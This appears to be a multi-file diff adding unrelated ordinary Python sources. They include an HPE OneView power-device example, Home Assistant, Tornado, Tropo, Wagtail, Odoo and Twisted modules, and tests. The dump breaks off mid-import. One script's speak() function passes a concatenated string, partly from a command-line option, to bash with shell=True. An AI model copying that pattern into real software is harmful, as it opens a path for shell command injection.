oneview_client.power_devices.get(power_device_added['uri']) +print('Get power device by URI, retrieved {name} successfully'.format(**power_device)) + +# Update the Power Device +power_device['name'] = "New Power Device Name" +power_device = oneview_client.power_devices.update(power_device) +print('Power device {name} updated successfully'.format(**power_device)) + +# Update the Power Device State +power_device = oneview_client.power_devices.get_by('deviceType', 'HPIpduOutlet') +power_device_state = oneview_client.power_devices.update_power_state(power_device[0]['uri'], {"powerState": "Off"}) +print('Power device state updated successfully:') +pprint(power_device_state) + +# Get the Power Device state +power_device_state = oneview_client.power_devices.get_power_state(power_device[0]['uri']) +print('Getting the new power device state:') +pprint(power_device_state) + +# Update the Device Refresh State +power_device_refresh = oneview_client.power_devices.update_refresh_state(power_device[0]['uri'], + {"refreshState": "RefreshPending"}) +print('Power device state refreshed successfully:') +pprint(power_device_refresh) + +# Update the Power Device UID State +power_device_state = oneview_client.power_devices.update_uid_state(power_device[0]['uri'], {"uidState": "On"}) +print('Power device UID state updated successfully') + +# Get the Power Device UID State +power_device_uid_state = oneview_client.power_devices.get_uid_state(power_device[0]['uri']) +print('Getting the new power device UID state: ' + power_device_uid_state) + +# Get power device utilization with defaults +print("Get power device utilization") +try: + power_devices_utilization = oneview_client.power_devices.get_utilization(power_device[0]['uri']) + pprint(power_devices_utilization) +except HPOneViewException as e: + print(e.msg['message']) + +# Get power device utilization specifying parameters +print("Get power device statistics with parameters") +try: + power_devices_utilization = oneview_client.power_devices.get_utilization( + power_device[0]['uri'], + fields='AveragePower', + filter='startDate=2016-05-30T11:20:44.541Z,endDate=2016-05-30T19:20:44.541Z', + view='hour') + pprint(power_devices_utilization) +except HPOneViewException as e: + print(e.msg['message']) + +# Remove added power devices +oneview_client.power_devices.remove(ipdu) +oneview_client.power_devices.remove_synchronous(power_device_added) +print("Successfully removed power devices") diff --git a/pool/shard009/Python/0080963_init__.py b/pool/shard009/Python/0080963_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..f6265d1b96b071664b80c6e62eff11dfb5b19f87 --- /dev/null +++ b/pool/shard009/Python/0080963_init__.py @@ -0,0 +1,63 @@ +"""Support for MQTT vacuums.""" +import logging + +import voluptuous as vol + +from homeassistant.components.vacuum import DOMAIN +from homeassistant.helpers.dispatcher import async_dispatcher_connect +from homeassistant.helpers.reload import async_setup_reload_service + +from .. import ATTR_DISCOVERY_HASH, DOMAIN as MQTT_DOMAIN, PLATFORMS +from ..discovery import MQTT_DISCOVERY_NEW, clear_discovery_hash +from .schema import CONF_SCHEMA, LEGACY, MQTT_VACUUM_SCHEMA, STATE +from .schema_legacy import PLATFORM_SCHEMA_LEGACY, async_setup_entity_legacy +from .schema_state import PLATFORM_SCHEMA_STATE, async_setup_entity_state + +_LOGGER = logging.getLogger(__name__) + + +def validate_mqtt_vacuum(value): + """Validate MQTT vacuum schema.""" + schemas = {LEGACY: PLATFORM_SCHEMA_LEGACY, STATE: PLATFORM_SCHEMA_STATE} + return schemas[value[CONF_SCHEMA]](value) + + +PLATFORM_SCHEMA = vol.All( + MQTT_VACUUM_SCHEMA.extend({}, extra=vol.ALLOW_EXTRA), validate_mqtt_vacuum +) + + +async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): + """Set up MQTT vacuum through configuration.yaml.""" + await async_setup_reload_service(hass, MQTT_DOMAIN, PLATFORMS) + await _async_setup_entity(config, async_add_entities) + + +async def async_setup_entry(hass, config_entry, async_add_entities): + """Set up MQTT vacuum dynamically through MQTT discovery.""" + + async def async_discover(discovery_payload): + """Discover and add a MQTT vacuum.""" + discovery_data = discovery_payload.discovery_data + try: + config = PLATFORM_SCHEMA(discovery_payload) + await _async_setup_entity( + config, async_add_entities, config_entry, discovery_data + ) + except Exception: + clear_discovery_hash(hass, discovery_data[ATTR_DISCOVERY_HASH]) + raise + + async_dispatcher_connect( + hass, MQTT_DISCOVERY_NEW.format(DOMAIN, "mqtt"), async_discover + ) + + +async def _async_setup_entity( + config, async_add_entities, config_entry=None, discovery_data=None +): + """Set up the MQTT vacuum.""" + setup_entity = {LEGACY: async_setup_entity_legacy, STATE: async_setup_entity_state} + await setup_entity[config[CONF_SCHEMA]]( + config, async_add_entities, config_entry, discovery_data + ) diff --git a/pool/shard009/Python/0080964_jingbao_fuwuqi.py b/pool/shard009/Python/0080964_jingbao_fuwuqi.py new file mode 100644 index 0000000000000000000000000000000000000000..94b0df9f5dfae8f7d86e2a23e665a3aaf5e4471b --- /dev/null +++ b/pool/shard009/Python/0080964_jingbao_fuwuqi.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +""" +################################################################################ +# # +# jingbao-fuwuqi # +# # +################################################################################ +# # +# LICENCE INFORMATION # +# # +# This program alerts when a server becomes available. # +# # +# copyright (C) 2015 William Breaden Madden # +# # +# This software is released under the terms of the GNU General Public License # +# version 3 (GPLv3). # +# # +# This program is free software: you can redistribute it and/or modify it # +# under the terms of the GNU General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# This program is distributed in the hope that it will be useful, but WITHOUT # +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # +# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # +# more details. # +# # +# For a copy of the GNU General Public License, see # +# . # +# # +################################################################################ + +Usage: + jingbao-fuwuqi [options] + +Options: + -h, --help display help message + --version display version and exit + --system=NAME system requested [default: KS-1] +""" + +name = "jingbao-fuwuqi" +version = "2017-01-16T1621Z" + +import docopt +import os +import sys +import subprocess +import time +import requests + +from bs4 import BeautifulSoup + +def main(options): + time_check = 30 + system_name = options["--system"] + URL = "https://www.kimsufi.com/en/servers.xml" + unavailable_text = "Last server delivered" + message_alert = "--- ALERT: system {system_name} available now ---".format( + system_name = system_name + ) + print("\n{name}\n\nmonitor availability of system {system_name}\n".format( + name = name, + system_name = system_name + )) + # setup + print("setup") + ensure_program_available( + program = "festival" + ) + print("") + while True: + print("check availability of system {system_name} on page {URL}".format( + system_name = system_name, + URL = URL + )) + try: + request = requests.get(URL) + page_source = request.text + soup = BeautifulSoup(page_source, "lxml") + table = soup.find("table", {"class": "full homepage-table"}) + table_rows = [] + # Load the table of systems. + for row in table.find_all("tr"): + table_rows.append(row) + # Find the row of the system requested. + for row in table_rows: + if system_name in row.text: + system_row = row + system_row_text = system_row.text + print(" system {system_name} information detected".format( + system_name = system_name + )) + else: + system_row = "" + system_row_text = "" + # Check if the system requested is not unavailable. + if system_row_text != "" and unavailable_text not in system_row_text: + alert(message_alert) + else: + print(" system {system_name} unavailable".format( + system_name = system_name + )) + except: + print("error accessing systems page") + # Wait a time before checking the page again. + print(" wait {time} seconds before checking again".format( + time = time_check + )) + time.sleep(time_check) + +def alert(message): + print(message) + speak(message) + +def speak(text): + command =\ + "echo \"" +\ + text +\ + "\" | festival --tts" + result = subprocess.check_call( + command, + shell = True, + executable = "/bin/bash" + ) + +def which(program): + def is_exe(fpath): + return os.path.isfile(fpath) and os.access(fpath, os.X_OK) + fpath, fname = os.path.split(program) + if fpath: + if is_exe(program): + return(program) + else: + for path in os.environ["PATH"].split(os.pathsep): + path = path.strip('"') + exe_file = os.path.join(path, program) + if is_exe(exe_file): + return exe_file + return None + +def ensure_program_available( + program = None + ): + print("ensure program {program} available".format( + program = program + )) + if which(program) is None: + print("error: program \"{program}\" not available".format( + program = program + )) + sys.exit() + else: + print("program \"{program}\" available".format( + program = program + )) + +if __name__ == "__main__": + options = docopt.docopt(__doc__) + if options["--version"]: + print(version) + exit() + main(options) diff --git a/pool/shard009/Python/0080968_profile.py b/pool/shard009/Python/0080968_profile.py new file mode 100644 index 0000000000000000000000000000000000000000..9042c48033720efa29ffe4bbeebde034aa0ce8ea --- /dev/null +++ b/pool/shard009/Python/0080968_profile.py @@ -0,0 +1,128 @@ +# coding:utf-8 + +import logging + +from handlers.base import BaseHandler +from utils.common import require_logined +from utils.image_storage import storage +from config import image_url_prefix +from utils.response_code import RET + + +class ProfileHandler(BaseHandler): + """个人信息""" + @require_logined + def get(self): + """获取个人信息""" + user_id = self.session.data['user_id'] + # 查询数据库获取个人信息 + try: + ret = self.db.get("select up_name,up_mobile,up_avatar from ih_user_profile where up_user_id=%s", user_id) + except Exception as e: + logging.error(e) + return self.write({"errno": RET.DBERR, "errmsg": "no data"}) + + # 将头像的url地址补充完整 + if ret["up_avatar"]: + img_url = image_url_prefix + ret["up_avatar"] + else: + img_url = None + self.write({"errno": RET.OK, "errmsg": "OK", "data": {"user_id": user_id, "name": ret["up_name"], + "mobile": ret["up_mobile"], "avatar": img_url}}) + + +class AvatarHandler(BaseHandler): + """头像""" + @require_logined + def post(self): + user_id = self.session.data["user_id"] + + # 获取头像图片数据, 返回一个列表 + avatar = self.request.files.get("avatar") + if not avatar: + return self.write(dict(errno=RET.PARAMERR, errmsg="未传头像")) + try: + img_name = storage(avatar[0].body) + except Exception as e: + logging.error(e) + return self.write(dict(errno=RET.THIRDERR, errmsg="上传头像失败")) + + # 操作数据库,保存头像信息 + sql = "update ih_user_profile set up_avatar=%s where up_user_id=%s" + try: + self.db.execute_rowcount(sql, img_name, user_id) + except Exception as e: + logging.error(e) + return self.write({"errno": RET.DBERR, "errmsg": "upload failed"}) + + img_url = image_url_prefix + img_name + self.write({"errno": RET.OK, "errmsg": "OK", "url": img_url}) + + +class NameHandler(BaseHandler): + """用户名""" + @require_logined + def post(self): + # 从session中获取用户身份,user_id + user_id = self.session.data["user_id"] + + # 获取用户想要设置的用户名 + name = self.json_args.get("name") + + # 判断name是否传了,并且不应为空字符串 + # if name == None or "" == name: + if name in (None, ""): + return self.write({"errno": RET.PARAMERR, "errmsg": "params error"}) + + # 保存用户昵称name,并同时判断name是否重复(利用数据库的唯一索引) + try: + self.db.execute_rowcount("update ih_user_profile set up_name=%s where up_user_id=%s", name, user_id) + except Exception as e: + logging.error(e) + return self.write({"errno": RET.DBERR, "errmsg": "name has exist"}) + + # 修改session数据中的name字段,并保存到redis中 + self.session.data["name"] = name + try: + self.session.save() + except Exception as e: + logging.error(e) + self.write({"errno": RET.OK, "errmsg": "OK"}) + + +class AuthHandler(BaseHandler): + """实名认证""" + @require_logined + def get(self): + """获取用户的实名认证信息""" + user_id = self.session.data["user_id"] + + # 在数据库中查询信息 + try: + ret = self.db.get("select up_real_name,up_id_card from ih_user_profile where up_user_id=%s", user_id) + except Exception as e: + logging.error(e) + return self.write({"errno": RET.DBERR, "errmsg": "get data failed"}) + if not ret: + return self.write({"errno": RET.NODATA, "errmsg": "no data"}) + self.write({"errno": RET.OK, "errmsg": "OK", "data": {"real_name": ret.get("up_real_name", ""), + "id_card": ret.get("up_id_card", "")}}) + + @require_logined + def post(self): + """保存实名认证信息""" + user_id = self.session.data["user_id"] + real_name = self.json_args.get("real_name") + id_card = self.json_args.get("id_card") + # 参数校验 + if real_name in (None, "") or id_card in (None, ""): + return self.write({"errno": RET.PARAMERR, "errmsg": "params error"}) + try: + self.db.execute_rowcount("update ih_user_profile set up_real_name=%s,up_id_card=%s where up_user_id=%s", + real_name, id_card, user_id) + except Exception as e: + logging.error(e) + return self.write({"errno": RET.DBERR, "errmsg": "update failed"}) + self.write({"errno": RET.OK, "errmsg": "OK"}) + + diff --git a/pool/shard009/Python/0080977_views.py b/pool/shard009/Python/0080977_views.py new file mode 100644 index 0000000000000000000000000000000000000000..d1c76d8d2c68255de760e3b3675b2efb9b3da4e9 --- /dev/null +++ b/pool/shard009/Python/0080977_views.py @@ -0,0 +1,83 @@ +import json +from .api import TropoBackend +from tropo import Tropo +from corehq.apps.ivr.api import incoming as incoming_call +from corehq.apps.sms.api import incoming as incoming_sms +from django.http import HttpResponse, HttpResponseBadRequest +from django.views.decorators.csrf import csrf_exempt +from corehq.apps.sms.mixin import VerifiedNumber +from corehq.apps.sms.models import CallLog, INCOMING, OUTGOING +from datetime import datetime +from corehq.apps.sms.util import strip_plus + +@csrf_exempt +def sms_in(request): + """ + Handles tropo messaging requests + """ + if request.method == "POST": + data = json.loads(request.raw_post_data) + session = data["session"] + # Handle when Tropo posts to us to send an SMS + if "parameters" in session: + params = session["parameters"] + if ("_send_sms" in params) and ("numberToDial" in params) and ("msg" in params): + numberToDial = params["numberToDial"] + msg = params["msg"] + t = Tropo() + t.call(to = numberToDial, network = "SMS") + t.say(msg) + return HttpResponse(t.RenderJson()) + # Handle incoming SMS + phone_number = None + text = None + if "from" in session: + phone_number = session["from"]["id"] + if "initialText" in session: + text = session["initialText"] + if phone_number is not None and len(phone_number) > 1: + if phone_number[0] == "+": + phone_number = phone_number[1:] + incoming_sms(phone_number, text, TropoBackend.get_api_id()) + t = Tropo() + t.hangup() + return HttpResponse(t.RenderJson()) + else: + return HttpResponseBadRequest("Bad Request") + +@csrf_exempt +def ivr_in(request): + """ + Handles tropo call requests + """ + if request.method == "POST": + data = json.loads(request.raw_post_data) + phone_number = data["session"]["from"]["id"] + # TODO: Implement tropo as an ivr backend. In the meantime, just log the call. + + if phone_number: + cleaned_number = strip_plus(phone_number) + v = VerifiedNumber.by_extensive_search(cleaned_number) + else: + v = None + + # Save the call entry + msg = CallLog( + phone_number = cleaned_number, + direction = INCOMING, + date = datetime.utcnow(), + backend_api = TropoBackend.get_api_id(), + ) + if v is not None: + msg.domain = v.domain + msg.couch_recipient_doc_type = v.owner_doc_type + msg.couch_recipient = v.owner_id + msg.save() + + t = Tropo() + t.reject() + return HttpResponse(t.RenderJson()) + else: + return HttpResponseBadRequest("Bad Request") + + diff --git a/pool/shard009/Python/0080979_models.py b/pool/shard009/Python/0080979_models.py new file mode 100644 index 0000000000000000000000000000000000000000..62fc8b90831653bba638c62b9b9e019bdcf28b5b --- /dev/null +++ b/pool/shard009/Python/0080979_models.py @@ -0,0 +1,47 @@ +from django.db import models +from wagtail.wagtailadmin.edit_handlers import (FieldPanel, ObjectList, + RichTextFieldPanel, + TabbedInterface) +from wagtail.wagtailcore.fields import RichTextField +from wagtail.wagtailcore.models import Page + +from greyjay.base import PaginatedListPageMixin, ShareLinksMixin + + +class JobPostingPage(Page, ShareLinksMixin): + body = RichTextField() + + content_panels = Page.content_panels + [ + RichTextFieldPanel('body'), + ] + + edit_handler = TabbedInterface([ + ObjectList(content_panels, heading='Content'), + ObjectList(Page.promote_panels, heading='Promote'), + ObjectList(Page.settings_panels, heading='Settings', classname="settings"), + ]) + + +class JobPostingListPage(PaginatedListPageMixin, Page): + subpage_types = [ + 'JobPostingPage', + ] + + jobs_per_page = models.IntegerField(default=10) + counter_field_name = 'jobs_per_page' + counter_context_name = 'jobs' + + @property + def subpages(self): + subpages = JobPostingPage.objects.live().order_by('-first_published_at') + return subpages + + content_panels = Page.content_panels + [ + FieldPanel('jobs_per_page'), + ] + + edit_handler = TabbedInterface([ + ObjectList(content_panels, heading='Content'), + ObjectList(Page.promote_panels, heading='Promote'), + ObjectList(Page.settings_panels, heading='Settings', classname="settings"), + ]) diff --git a/pool/shard009/Python/0080980_account_bank_statement_line.py b/pool/shard009/Python/0080980_account_bank_statement_line.py new file mode 100644 index 0000000000000000000000000000000000000000..3448ec451fa620aabb8150e95c1595898e32ca1f --- /dev/null +++ b/pool/shard009/Python/0080980_account_bank_statement_line.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- +# Copyright (c) 2009-2016 Noviat nv/sa (www.noviat.com) +# Copyright© 2016 ICTSTUDIO +# License: AGPL-3.0 or later (http://www.gnu.org/licenses/agpl) + +from openerp import api, fields, models + + +class AccountBankStatementLine(models.Model): + _inherit = 'account.bank.statement.line' + + @api.model + def _default_cost_center(self): + return self.env['account.cost.center'].browse( + self._context.get('cost_center_id', None)) + + cost_center_id = fields.Many2one( + comodel_name='account.cost.center', + string='Cost Center', + default=_default_cost_center + ) + + @api.model + def get_statement_line_for_reconciliation(self, st_line): + data = super(AccountBankStatementLine, self).\ + get_statement_line_for_reconciliation(st_line) + data['cost_center_id'] = st_line.cost_center_id.id + return data diff --git a/pool/shard009/Python/0080982_gtk2reactor.py b/pool/shard009/Python/0080982_gtk2reactor.py new file mode 100644 index 0000000000000000000000000000000000000000..842e99683819c2af3011740b795a7280c61d7710 --- /dev/null +++ b/pool/shard009/Python/0080982_gtk2reactor.py @@ -0,0 +1,284 @@ +# Copyright (c) 2001-2004 Twisted Matrix Laboratories. +# See LICENSE for details. + + +""" +This module provides support for Twisted to interact with the glib/gtk2 mainloop. + +In order to use this support, simply do the following:: + + | from twisted.internet import gtk2reactor + | gtk2reactor.install() + +Then use twisted.internet APIs as usual. The other methods here are not +intended to be called directly. + +When installing the reactor, you can choose whether to use the glib +event loop or the GTK+ event loop which is based on it but adds GUI +integration. + +API Stability: stable + +Maintainer: U{Itamar Shtull-Trauring} +""" + +__all__ = ['install'] + +# System Imports +import sys +from zope.interface import implements +try: + if not hasattr(sys, 'frozen'): + # Don't want to check this for py2exe + import pygtk + pygtk.require('2.0') +except (ImportError, AttributeError): + pass # maybe we're using pygtk before this hack existed. +import gobject +if hasattr(gobject, "threads_init"): + # recent versions of python-gtk expose this. python-gtk=2.4.1 + # (wrapping glib-2.4.7) does. python-gtk=2.0.0 (wrapping + # glib-2.2.3) does not. + gobject.threads_init() + +# Twisted Imports +from twisted.python import log, threadable, runtime, failure, components +from twisted.internet.interfaces import IReactorFDSet + +# Sibling Imports +from twisted.internet import main, posixbase, error, selectreactor + +reads = {} +writes = {} +hasReader = reads.has_key +hasWriter = writes.has_key + +# the next callback +_simtag = None +POLL_DISCONNECTED = gobject.IO_HUP | gobject.IO_ERR | gobject.IO_NVAL + +# glib's iochannel sources won't tell us about any events that we haven't +# asked for, even if those events aren't sensible inputs to the poll() +# call. +INFLAGS = gobject.IO_IN | POLL_DISCONNECTED +OUTFLAGS = gobject.IO_OUT | POLL_DISCONNECTED + +def _our_mainquit(): + # XXX: gtk.main_quit() (which is used for crash()) raises an exception if + # gtk.main_level() == 0; however, all the tests freeze if we use this + # function to stop the reactor. what gives? (I believe this may have been + # a stupid mistake where I forgot to import gtk here... I will remove this + # comment if the tests pass) + import gtk + if gtk.main_level(): + gtk.main_quit() + +class Gtk2Reactor(posixbase.PosixReactorBase): + """GTK+-2 event loop reactor. + """ + + implements(IReactorFDSet) + + def __init__(self, useGtk=True): + self.context = gobject.main_context_default() + self.loop = gobject.MainLoop() + posixbase.PosixReactorBase.__init__(self) + # pre 2.3.91 the glib iteration and mainloop functions didn't release + # global interpreter lock, thus breaking thread and signal support. + if (hasattr(gobject, "pygtk_version") and gobject.pygtk_version >= (2, 3, 91) + and not useGtk): + self.__pending = self.context.pending + self.__iteration = self.context.iteration + self.__crash = self.loop.quit + self.__run = self.loop.run + else: + import gtk + self.__pending = gtk.events_pending + self.__iteration = gtk.main_iteration + self.__crash = _our_mainquit + self.__run = gtk.main + + # The input_add function in pygtk1 checks for objects with a + # 'fileno' method and, if present, uses the result of that method + # as the input source. The pygtk2 input_add does not do this. The + # function below replicates the pygtk1 functionality. + + # In addition, pygtk maps gtk.input_add to _gobject.io_add_watch, and + # g_io_add_watch() takes different condition bitfields than + # gtk_input_add(). We use g_io_add_watch() here in case pygtk fixes this + # bug. + def input_add(self, source, condition, callback): + if hasattr(source, 'fileno'): + # handle python objects + def wrapper(source, condition, real_s=source, real_cb=callback): + return real_cb(real_s, condition) + return gobject.io_add_watch(source.fileno(), condition, wrapper) + else: + return gobject.io_add_watch(source, condition, callback) + + def addReader(self, reader): + if not hasReader(reader): + reads[reader] = self.input_add(reader, INFLAGS, self.callback) + + def addWriter(self, writer): + if not hasWriter(writer): + writes[writer] = self.input_add(writer, OUTFLAGS, self.callback) + + def removeAll(self): + return self._removeAll(reads, writes) + + def removeReader(self, reader): + if hasReader(reader): + gobject.source_remove(reads[reader]) + del reads[reader] + + def removeWriter(self, writer): + if hasWriter(writer): + gobject.source_remove(writes[writer]) + del writes[writer] + + doIterationTimer = None + + def doIterationTimeout(self, *args): + self.doIterationTimer = None + return 0 # auto-remove + + def doIteration(self, delay): + # flush some pending events, return if there was something to do + # don't use the usual "while self.context.pending(): self.context.iteration()" + # idiom because lots of IO (in particular test_tcp's + # ProperlyCloseFilesTestCase) can keep us from ever exiting. + log.msg(channel='system', event='iteration', reactor=self) + if self.__pending(): + self.__iteration(0) + return + # nothing to do, must delay + if delay == 0: + return # shouldn't delay, so just return + self.doIterationTimer = gobject.timeout_add(int(delay * 1000), + self.doIterationTimeout) + # This will either wake up from IO or from a timeout. + self.__iteration(1) # block + # note: with the .simulate timer below, delays > 0.1 will always be + # woken up by the .simulate timer + if self.doIterationTimer: + # if woken by IO, need to cancel the timer + gobject.source_remove(self.doIterationTimer) + self.doIterationTimer = None + + def crash(self): + self.__crash() + + def run(self, installSignalHandlers=1): + self.startRunning(installSignalHandlers=installSignalHandlers) + gobject.timeout_add(0, self.simulate) + self.__run() + + def _doReadOrWrite(self, source, condition, faildict={ + error.ConnectionDone: failure.Failure(error.ConnectionDone()), + error.ConnectionLost: failure.Failure(error.ConnectionLost()), + }): + why = None + didRead = None + if condition & POLL_DISCONNECTED and \ + not (condition & gobject.IO_IN): + why = main.CONNECTION_LOST + else: + try: + if condition & gobject.IO_IN: + why = source.doRead() + didRead = source.doRead + if not why and condition & gobject.IO_OUT: + # if doRead caused connectionLost, don't call doWrite + # if doRead is doWrite, don't call it again. + if not source.disconnected and source.doWrite != didRead: + why = source.doWrite() + didRead = source.doWrite # if failed it was in write + except: + why = sys.exc_info()[1] + log.msg('Error In %s' % source) + log.deferr() + + if why: + self._disconnectSelectable(source, why, didRead == source.doRead) + + def callback(self, source, condition): + log.callWithLogger(source, self._doReadOrWrite, source, condition) + self.simulate() # fire Twisted timers + return 1 # 1=don't auto-remove the source + + def simulate(self): + """Run simulation loops and reschedule callbacks. + """ + global _simtag + if _simtag is not None: + gobject.source_remove(_simtag) + self.runUntilCurrent() + timeout = min(self.timeout(), 0.1) + if timeout is None: + timeout = 0.1 + # grumble + _simtag = gobject.timeout_add(int(timeout * 1010), self.simulate) + +components.backwardsCompatImplements(Gtk2Reactor) + + +class PortableGtkReactor(selectreactor.SelectReactor): + """Reactor that works on Windows. + + input_add is not supported on GTK+ for Win32, apparently. + """ + + def crash(self): + import gtk + # mainquit is deprecated in newer versions + if hasattr(gtk, 'main_quit'): + gtk.main_quit() + else: + gtk.mainquit() + + def run(self, installSignalHandlers=1): + import gtk + self.startRunning(installSignalHandlers=installSignalHandlers) + self.simulate() + # mainloop is deprecated in newer versions + if hasattr(gtk, 'main'): + gtk.main() + else: + gtk.mainloop() + + def simulate(self): + """Run simulation loops and reschedule callbacks. + """ + global _simtag + if _simtag is not None: + gobject.source_remove(_simtag) + self.iterate() + timeout = min(self.timeout(), 0.1) + if timeout is None: + timeout = 0.1 + # grumble + _simtag = gobject.timeout_add(int(timeout * 1010), self.simulate) + + +def install(useGtk=True): + """Configure the twisted mainloop to be run inside the gtk mainloop. + + @param useGtk: should glib rather than GTK+ event loop be + used (this will be slightly faster but does not support GUI). + """ + reactor = Gtk2Reactor(useGtk) + from twisted.internet.main import installReactor + installReactor(reactor) + return reactor + +def portableInstall(useGtk=True): + """Configure the twisted mainloop to be run inside the gtk mainloop. + """ + reactor = PortableGtkReactor() + from twisted.internet.main import installReactor + installReactor(reactor) + return reactor + +if runtime.platform.getType() != 'posix': + install = portableInstall diff --git a/pool/shard009/Python/0080985_wordfinder.py b/pool/shard009/Python/0080985_wordfinder.py new file mode 100644 index 0000000000000000000000000000000000000000..ce63311ab28fc8eef9b63494710276ed637ae875 --- /dev/null +++ b/pool/shard009/Python/0080985_wordfinder.py @@ -0,0 +1,129 @@ +# Natural Language Toolkit: Word Finder +# +# Copyright (C) 2001-2015 NLTK Project +# Author: Steven Bird +# URL: +# For license information, see LICENSE.TXT + +# Simplified from PHP version by Robert Klein +# http://fswordfinder.sourceforge.net/ +from __future__ import print_function + +import random + + +# reverse a word with probability 0.5 +def revword(word): + if random.randint(1,2) == 1: + return word[::-1] + return word + +# try to insert word at position x,y; direction encoded in xf,yf +def step(word, x, xf, y, yf, grid): + for i in range(len(word)): + if grid[xf(i)][yf(i)] != "" and grid[xf(i)][yf(i)] != word[i]: + return False + for i in range(len(word)): + grid[xf(i)][yf(i)] = word[i] + return True + +# try to insert word at position x,y, in direction dir +def check(word, dir, x, y, grid, rows, cols): + if dir==1: + if x-len(word)<0 or y-len(word)<0: + return False + return step(word, x, lambda i:x-i, y, lambda i:y-i, grid) + elif dir==2: + if x-len(word)<0: + return False + return step(word, x, lambda i:x-i, y, lambda i:y, grid) + elif dir==3: + if x-len(word)<0 or y+(len(word)-1)>=cols: + return False + return step(word, x, lambda i:x-i, y, lambda i:y+i, grid) + elif dir==4: + if y-len(word)<0: + return False + return step(word, x, lambda i:x, y, lambda i:y-i, grid) + +def wordfinder(words, rows=20, cols=20, attempts=50, + alph='ABCDEFGHIJKLMNOPQRSTUVWXYZ'): + """ + Attempt to arrange words into a letter-grid with the specified + number of rows and columns. Try each word in several positions + and directions, until it can be fitted into the grid, or the + maximum number of allowable attempts is exceeded. Returns a tuple + consisting of the grid and the words that were successfully + placed. + + :param words: the list of words to be put into the grid + :type words: list + :param rows: the number of rows in the grid + :type rows: int + :param cols: the number of columns in the grid + :type cols: int + :param attempts: the number of times to attempt placing a word + :type attempts: int + :param alph: the alphabet, to be used for filling blank cells + :type alph: list + :rtype: tuple + """ + + # place longer words first + words = sorted(words, key=len, reverse=True) + + grid = [] # the letter grid + used = [] # the words we used + + # initialize the grid + for i in range(rows): + grid.append([""] * cols) + + # try to place each word + for word in words: + word = word.strip().upper() # normalize + save = word # keep a record of the word + word = revword(word) + for attempt in range(attempts): + r = random.randint(0, len(word)) + dir = random.choice([1,2,3,4]) + x = random.randint(0,rows) + y = random.randint(0,cols) + if dir==1: x+=r; y+=r + elif dir==2: x+=r + elif dir==3: x+=r; y-=r + elif dir==4: y+=r + if 0<=x. + +@author: neilswainston +''' +# pylint: disable=invalid-name +# pylint: disable=no-member +# pylint: disable=wrong-import-order +import unittest + +from keras.layers import Dense +from keras.models import Sequential +from keras.utils import to_categorical +from keras.wrappers.scikit_learn import KerasRegressor +from sklearn import metrics, model_selection +from sklearn.datasets.samples_generator import make_blobs +from sklearn.model_selection import KFold +from sklearn.model_selection import cross_val_score + +from gg_learn.keras import Classifier +import numpy as np +import pandas as pd + + +# from sklearn.metrics import confusion_matrix +class TestClassifier(unittest.TestCase): + '''Tests the Classifier class.''' + + def test_classify(self): + '''Tests the classify method.''' + centers = 5 + + x_data, y_data = make_blobs(n_samples=1000, + centers=centers, + n_features=3, + cluster_std=1.0, + random_state=0) + + y_data = to_categorical(y_data, num_classes=centers) + + x_train, x_test, y_train, y_test = \ + model_selection.train_test_split(x_data, y_data, test_size=0.2) + + classifier = Classifier(x_train, y_train) + classifier.train() + + y_pred = classifier.predict(x_test) + y_pred = np.array([[round(val) for val in pred] for pred in y_pred]) + + # print confusion_matrix(y_test, y_pred) + + self.assertTrue(metrics.accuracy_score(y_test, y_pred) > 0.9) + + +class TestRegressor(unittest.TestCase): + '''Tests the Regressor class.''' + + def test_regression(self): + '''Tests the regression method.''' + df = pd.read_csv('housing.csv', delim_whitespace=True, header=None) + dataset = df.values + x_data = dataset[:, 0:-1] + y_data = dataset[:, -1] + + # create model + # evaluate model with standardized dataset + regressor = KerasRegressor( + build_fn=get_model, nb_epoch=100, batch_size=5) + + kfold = KFold(n_splits=5) + results = cross_val_score(regressor, x_data, y_data, cv=kfold) + print('Results: %.2f (%.2f) MSE' % (results.mean(), results.std())) + + self.assertTrue(results.mean() > 40) + + +def get_model(): + '''Gets model.''' + model = Sequential() + model.add(Dense(64, + input_dim=13, + kernel_initializer='normal', + activation='relu')) + model.add(Dense(1, kernel_initializer='normal')) + + # Compile model + model.compile(loss='mean_squared_error', optimizer='adam') + + return model diff --git a/pool/shard009/Python/0081003_test_arduino_devmode.py b/pool/shard009/Python/0081003_test_arduino_devmode.py new file mode 100644 index 0000000000000000000000000000000000000000..68d5e2504f686108bff413e554610f282fc5d5f2 --- /dev/null +++ b/pool/shard009/Python/0081003_test_arduino_devmode.py @@ -0,0 +1,97 @@ +# Copyright (c) 2016, Xilinx, Inc. +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR +# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +# OR BUSINESS INTERRUPTION). HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +from random import randint +import pytest +from pynq import Overlay +from pynq.lib.arduino import Arduino_DevMode +from 